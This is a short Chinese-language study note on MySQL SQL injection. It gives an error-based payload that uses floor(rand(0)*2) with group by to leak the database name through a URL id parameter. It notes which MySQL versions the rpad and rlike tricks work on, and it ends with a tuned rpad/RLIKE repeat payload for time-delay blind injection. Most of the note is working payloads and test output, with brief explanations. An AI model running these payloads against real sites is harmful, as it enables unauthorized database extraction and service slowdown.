- 经过师傅的测试,floor在常用的5.x的版本下是可用的(之前不知道为啥莫名其妙不行),这里再复习一下floor报错
总语句:
?id=1 and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
原理:
rand()函数和很多语句一起使用都会报错,这里是与group by语句一起使用,floor(rand(0)*2))x 的意思是x是前面那一坨的别名,方便后面和group by写在一起
- rpad rlike在凯哥的测试下,8.x的版本都不可以正常使用,在5.x的版本下是可用的
5.x版本下师傅的测试:
输入:
select rpad('a',9,'a');
输出:
aaaaaaaaa |
+-----------------+
1 row in set (0.01 sec)
输入:
select rpad('a',9999999,'1');
输出:
NULL |
+-----------------------+
1 row in set, 1 warning (0.00 sec)
- 最终发现问题产生于此方法控制延迟时间的地方在于rlike中repeat的次数,而不是rpad中黏贴的次数,当次数过大时,mysql拒绝黏贴,所以最终payload为
select rpad('a',49999,'a') RLIKE concat(repeat('(a.*)+',10000),'b');